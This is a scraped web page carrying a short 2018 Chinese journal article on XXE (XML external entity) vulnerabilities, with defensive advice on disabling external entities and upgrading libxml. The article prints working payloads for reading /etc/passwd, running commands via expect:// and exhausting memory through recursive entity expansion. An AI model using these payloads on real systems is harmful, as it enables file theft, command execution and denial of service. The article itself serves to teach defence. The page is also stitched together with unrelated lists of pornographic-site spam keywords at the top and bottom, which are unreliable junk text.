999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

XXE漏洞及其防御策略研究

2018-05-14 02:18:35應宗浩金海
科技風 2018年19期

應宗浩 金海

摘要:XXE漏洞是近年來產生的影響比較大的漏洞之一,能夠任意讀取文件,遠程執行命令,造成拒絕服務攻擊等。該文通過xxe漏洞背景介紹,給出相應的攻擊手段,并提出防御策略,以期能夠引起人們對xxe漏洞的重視,并加強相關方面的安全開發工作。

關鍵詞:XXE;漏洞;攻擊手段;防御策略

XML是用于標記電子文件使其具有結構性的標記語言,允許用戶對自己的標記語言進行定義。Web端,移動端,云端等客戶端技術使用XML向業務應用程序發送消息。為了使應用程序使用自定義的XML消息,應用程序必須去解析XML文檔并檢查格式是否正確。

較早的或配置錯誤的XML處理器無法準確評估XML文件中的外部實體引用。攻擊者可以利用外部實體發動攻擊。此種攻擊行為稱之為XXE(XML Enternal Entity Injection),即XML外部實體注入攻擊。

1 XML基礎

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

以下是一個典型xml文檔

<?xml version="1.0"?> <!—xml聲明—>

<!DOCTYPE note [<!—DTD文檔類型定義,定義此文檔是 note 類型的文檔>

<!ELEMENT note (head,body)><!定義note元素有四個元素>

<!ELEMENT head (#PCDATA)><!定義head元素為”#PCDATA”類型>

<!ELEMENT body (#PCDATA)><!定義body元素為”#PCDATA”類型>]>

Reminder<!—文檔元素>

You are a good man<!—文檔元素>

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。XXE漏洞關注的是外部實體引用,外部實體引用的代碼如下:

<!ENTITY 實體名稱 SYSTEM "URI">

2 xxe典型攻擊手段

2.1 任意讀取文件

<!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]>

&mytest;

代碼可以讀取/etc/passwd,file部分可以替換任意文件路徑,使得攻擊者能夠任意讀取文件。

2.2 執行系統命令

<!DOCTYPEmytest [<!ELEMENT name ANY >

<!ENTITY mytest SYSTEM "expect://id" >]>

&mytest;

該代碼能夠在服務器上執行“id”命令,”id”命令可以替換為其他系統命令,通過執行系統命令.

2.3 拒絕服務攻擊

<!DOCTYPE data [

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

]>

&a4;

該代碼通過創建一項遞歸的 XML 定義,構造惡意的XML實體文件耗盡可用內存,造成拒絕服務攻擊。

3 XXE防御策略

大部分XML解析器無法正確解析xxe攻擊中的實體。因此可以配置XML處理器去使用本地靜態的DTD,不允許XML中含有自聲明的DTD。可以使用開發語言提供的禁用外部實體的方法,從而避免基于XXE漏洞的攻擊。

另外,升級libxml版本至2.9.0,libxml 2.9.0 以后默認不解析外部實體,也可以通過升級libxml版本進行xxe防御。

參考文獻:

[1]開放式Web應用程序安全項目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201.

[2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923.

[3]丁躍潮,張濤.XML實用教程[M].北京:北京大學出版社,2006.

[4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303.

作者簡介:應宗浩(1997),男,浙江溫州人,本科在讀,研究方向:信息安全,物聯網安全。

主站蜘蛛池模板: 狼友视频一区二区三区| 精品超清无码视频在线观看| 91探花国产综合在线精品| 欧美啪啪精品| V一区无码内射国产| 五月天婷婷网亚洲综合在线| 五月天综合网亚洲综合天堂网| 久久久久免费看成人影片 | 亚洲无码高清免费视频亚洲 | 亚洲天堂啪啪| 亚洲成aⅴ人在线观看| 91亚洲视频下载| 国产女人水多毛片18| 成色7777精品在线| 99国产精品国产高清一区二区| 国产乱子伦一区二区=| 免费中文字幕一级毛片| 女同国产精品一区二区| 国产无码制服丝袜| 亚洲欧美另类日本| 国产精品一线天| 精品国产99久久| 国产迷奸在线看| 久热中文字幕在线观看| 国产精品夜夜嗨视频免费视频| 特级做a爰片毛片免费69| 国产精品专区第一页在线观看| 日韩欧美一区在线观看| 91精品国产综合久久香蕉922 | 99免费在线观看视频| 欧美成人亚洲综合精品欧美激情| 国产免费观看av大片的网站| 在线观看欧美国产| 最新日本中文字幕| 亚洲看片网| 久久久波多野结衣av一区二区| 九色在线观看视频| a级高清毛片| 中国黄色一级视频| 99热这里只有精品国产99| 欧美日韩高清| 亚洲精品在线影院| 国产高潮视频在线观看| 久久精品亚洲热综合一区二区| 五月天久久综合国产一区二区| 国产精品亚洲а∨天堂免下载| 国内精品久久人妻无码大片高| 久久无码免费束人妻| 黄色三级网站免费| 亚洲一区波多野结衣二区三区| 国产成人精品一区二区| 久久久精品无码一二三区| 26uuu国产精品视频| 69av在线| 一级毛片免费播放视频| 99精品这里只有精品高清视频| 国产一区二区三区夜色| 爽爽影院十八禁在线观看| 亚洲欧美激情小说另类| 精品無碼一區在線觀看 | 亚洲中文无码h在线观看| 88av在线| 全午夜免费一级毛片| 国产AV无码专区亚洲A∨毛片| 2022精品国偷自产免费观看| 国产自在自线午夜精品视频| 狠狠躁天天躁夜夜躁婷婷| 一级成人a做片免费| 日日拍夜夜操| 97超爽成人免费视频在线播放| 美女无遮挡免费网站| 欧美亚洲一二三区| 99re热精品视频中文字幕不卡| 国产欧美日韩一区二区视频在线| 日韩精品亚洲一区中文字幕| 日韩激情成人| 日本精品影院| 欧美激情网址| 9久久伊人精品综合| 国产综合色在线视频播放线视| 国产精品一区二区在线播放| 国产在线精品人成导航|